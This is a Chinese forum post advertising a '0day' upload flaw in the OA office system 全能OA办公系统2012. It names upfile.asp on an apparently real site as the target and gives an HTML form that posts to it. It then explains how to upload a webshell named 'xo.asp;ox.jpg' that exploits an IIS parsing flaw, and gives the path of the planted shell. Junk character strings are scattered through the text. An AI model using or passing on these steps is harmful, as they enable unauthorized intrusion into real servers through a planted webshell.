全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
" ]- k/ u6 X3 A$ l- g​
" D: B$ D# n7 C/ D9 H; U( Y系统介绍：

, Y* }  j1 s; l$ l全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

3 o8 W8 e) o1 w9 {9 x$ f  U) h' d' Y主要功能：
- S. i% E7 N. j" T: K# W公司通告
工作计划
通讯助理
客户资源
我的公文
# B. T$ |8 ~4 U7 l公文传阅
7 l  U0 E" [/ H1 k) R& t公共资源
# ?5 f; c8 y8 s! z8 n0 Z资源预约
! ^0 B0 z' @. P- \' }. z今日考勤
0 y; M" J% U$ h2 x% Q个人计划
个人通讯录
个人基本档案
未读邮件
发邮件
收件夹
寄件夹
; t& }8 D- r' ^6 P7 s5 s$ p网络硬盘
: _/ p- K* m0 V  h+ x9 Z网络会议
网络调查
交流论坛
" Y2 k1 J; E, l' s" n. Y
有兴趣测试的朋友可以下源码看看
2 ]6 ?; a2 r8 G/ C$ h% {* s, w8 E
8 j1 ^2 i% A# G4 _9 D8 ^/ J: l3 h源码下载：
8 c/ }4 Q! H0 I; a# B( L, ~
http://www.mycodes.net/30/4750.htm
1 ]% Y2 [5 a* h4 {: C- g2 v, _% p
漏洞介绍：
* k4 `6 k% l! }; n! t
! o8 B8 @6 A$ e* {/ n由upfile.asp上传文件漏洞引起

测试方法：

6 f$ O0 B" T; S  {1 P使用名小子上传http://www.itlynn.com/upfile.asp即可
9 }8 v3 X, W& W( {" w) `
! f, }# A0 `$ u& S; T7 N: H& [$ }如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

, A: U% }9 \. H* b) c0 o- j如果存在那么将如下代码保存为upfile.html。

+ ~& q" e( v% h0 \然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

4 k' r( u: F2 G5 o" T& _1 }

01 <table border='0' align="center" cellpadding="5">
' P" d2 l9 S5 k1 Z0 v" \( g
, B) U1 ^0 S3 h3 i8 l$ E8 O: \# f02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

04             <td>报错：</td>
  i4 T0 F9 _) |+ V
5 g) h$ T, \& S7 A+ M05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
9 T  I& l) Z8 X& x+ q" z
07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
; x: y5 a) e( u5 z" o; Z  x
# w: U' v7 {' z& _6 T/ \09               <input type='radio' name='errnumber' value='2'>
) M- _+ P& X: T' I( S
# t) p" X" Z0 p4 i& q0 m5 Z9 d10               直接覆盖</td>

0 \$ V7 r# C3 i3 _1 _11           </tr>
, T# s5 ~7 E8 N. m# V" V
. P* U4 r9 ?) E; I12           <tr>

13             <td>主题：</td>
2 Y3 u: W* K$ W1 a+ o- ?
% B. \' Q- T+ t: T5 p. d1 K. ?14             <td><input type='text' name='filename' size='30'></td>
9 G, r( R6 k/ v% @: X
15           </tr>
4 c1 k, J+ b: e% B: A$ a  D+ o4 S
' ~0 G% q4 v+ ?7 a9 H) j5 `16           <tr>
( @  ?$ R' `6 g# a2 T! G
17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

. t% c5 q; v' |( R20           <tr>
# O; ?' l1 I# Q- u( @8 w
; C  g% w. s+ {, L% Q/ s" W, x21             <td valign='top'>简介：</td>

: w* Q: I) z4 k2 \9 }0 b1 M22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
! P. ^# _; P0 L0 W
24   
& p# I: Z) g: t! _
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
" ]) I6 [, [2 d* H
26           </tr>
( [1 j! p3 j8 B* O; M2 f  A
$ f5 c! T. Z" ^7 K/ D% \8 m; {27         </form>
- N( W$ j) c* {0 l3 B
然后打开上传一个文件名为xo.asp;ox.jpg的文件。

! \% R! b8 ~' Q8 M& Y) A# r8 K

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
1 r6 r8 s$ `/ M) {; a/ u$ i
此漏洞需要配合解析漏洞利用。
7 U5 D$ s/ |; u. S